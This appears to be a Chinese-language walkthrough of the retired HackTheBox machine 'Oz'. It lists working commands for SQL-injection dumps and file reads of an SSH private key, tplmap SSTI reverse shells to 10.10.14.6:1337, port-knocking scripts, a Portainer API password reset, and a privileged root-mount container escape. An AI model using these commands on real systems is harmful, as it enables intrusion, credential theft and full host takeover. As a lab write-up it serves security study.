HTB-靶机-Oz

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.96

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.96 -o ./Oz-autorecon

就开放了两个端口,先访问80端口看看

再访问8080端口看看

从80端口开始爆破下目录,这里是wfuzz进行爆破,爆破之前还是绑定个hosts ,10.10.10.96 oz.htb

wfuzz -u http://oz.htb/FUZZ/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hl 0

试了试目录users,丢单引号和其他测试字符可确认存在sql注入

存在sql注入就好办了,丢到sqlmap里面跑以下,经过测试最终抛出来了目标靶机存在的用户名和加密的密码

sqlmap -u http://10.10.10.96/users/ -D ozdb -T users_gbw -C id,username,password --dump --batch

提权上面的hash使用john进行爆破得出了账户和密码

最终账户和密码为:wizard.oz:wizardofoz22

使用上面得到的密码登录刚开始扫描出来的8080端口对应的web应用业务

登录进去之后根据描述的内容,发现用户dorthi的家目录下存在私钥

知道有私钥之后可以利用刚开始上面sql注入进行读取文件试试看看

sqlmap -u http://10.10.10.96/users/ --file-read=/home/dorthi/.ssh/id_rsa

密钥读取成功了,不过看这形式像是给密钥加了密码,而且知道目标靶机并没有开放22端口,所以此处先放着,我们继续看看那个8080端口的应用,经过测试此应用发现有个添加票据的功能,便添加一个然后使用burpsuite抓包

这里经过大量测试,得出结论是存在SSTI注入,关于此知识点可以网上搜索,或者参考:https://xz.aliyun.com/t/3679 ,SSTI模板注入的利用方式方式参考:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

利用工具参考:https://github.com/epinna/tplmap  下面是测试过程:

 

使用tplmap进行注入反弹shell

成功注入反弹shell
python tplmap.py -u'http://10.10.10.96:8080' -X POST -d 'name=*&desc=anything' -c 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTYwNzkzOTE0M30.dQ7hGgZso4zMJdYlSHhgUr3j8tC1PPT5ErvOTCH_Uvg' --reverse-shell 10.10.14.6 1337

也可以像下面的形式一样进行SSTI注入反弹shell
python tplmap.py -c "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTYwNzk0MTQ5OH0.S6ZoQi-Z259wGk_ceiv0mpRbfR2403MmB8iI55gZsfU" -u http://10.10.10.96:8080 -e Jinja2 -d "name=bmfx&desc=bmfx" --reverse-shell 10.10.14.6 1337

通过翻看目标靶机系统的目录和文件,确认发现两个隐藏文件,在隐藏其中一个隐藏文件/.secret下发现

看了上面文件内容就知道了目标有knocked,所以需要进行敲击即可开放22端口,那么就可以连接上面得到的密钥进行登录了,这里测试了下发现登录ssh的密钥需要密码,暂停下,再看看目标靶机文件,最后找到了数据库文件的硬编码内容

又得到一个密码了,再试试ssh登录的密钥

两种方式敲击端口然后登录ssh
第一种
#!/bin/bash

for x in 40809 50212 46969; do nmap -sU -Pn --host-timeout 201 --max-retries 0 -p $x 10.10.10.96; done
ssh dorthi@oz.htb -i id_oz_rsa

第二种

#!/bin/bash

ports="40809 50212 46969"

for port in $ports; do

    echo "[*] Knocking on ${port}"
    echo "a" | nc -u -w 1 10.10.10.96 ${port}
    sleep 0.1
done;

echo "[*] Knocking done."
echo "[*] Password:"
echo "N0Pl4c3L1keH0me"

ssh -i /home/kali/Downloads/htb/oz/id_oz_rsa dorthi@10.10.10.96

成功登录,并顺手执行了下sudo -l权限

这里涉及到docker环境, 根据上面的sudo -l结果,可以预测跟网络相关,需要进行桥接,且使用 arp -na和ip addr发现自身IP地址和周围的网络,便执行如下命令

sudo docker network inspect prodnet
sudo docker network inspect bridge

此时便识别了新的IP地址172.17.0.2 使用当前拿到shell的进行中nmap进行了扫描,发现开放了9000端口,识别出来是portainer-1.11.1,但是只能本地访问,这样就不方便,需要通过ssh远程端口转发到外面来然后本地回环口访问,这里有两种方法

第一种:
ssh -R 9000:172.17.0.2:9000 root@10.10.14.6

第二种:
下面执行3个步骤
1.敲击enter
2.键盘上输入右边两个字符:~C
3.上述输入完成之后就会变成ssh>这类的交互模式,然后输入如下:
At the ssh> -L 9000:172.17.0.2:9000

成功之后本地即可访问

到了这一步,需要知道,此portainer1.11.1版本有api接口,可以直接添加用户密码,具体可参考:https://github.com/portainer/portainer/issues/493

可以使用此工具来完成:https://httpie.io/

我这里直接修改用户名密码为df

成功登录到portainer

通过portainer添加一个容器然后给其最高权限把root根目录挂载过来即可

写好名称NiceContainer 镜像:webapi:latest 

按照上述操作完成创建即可,创建完成之后就可以进行console

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/14135076.html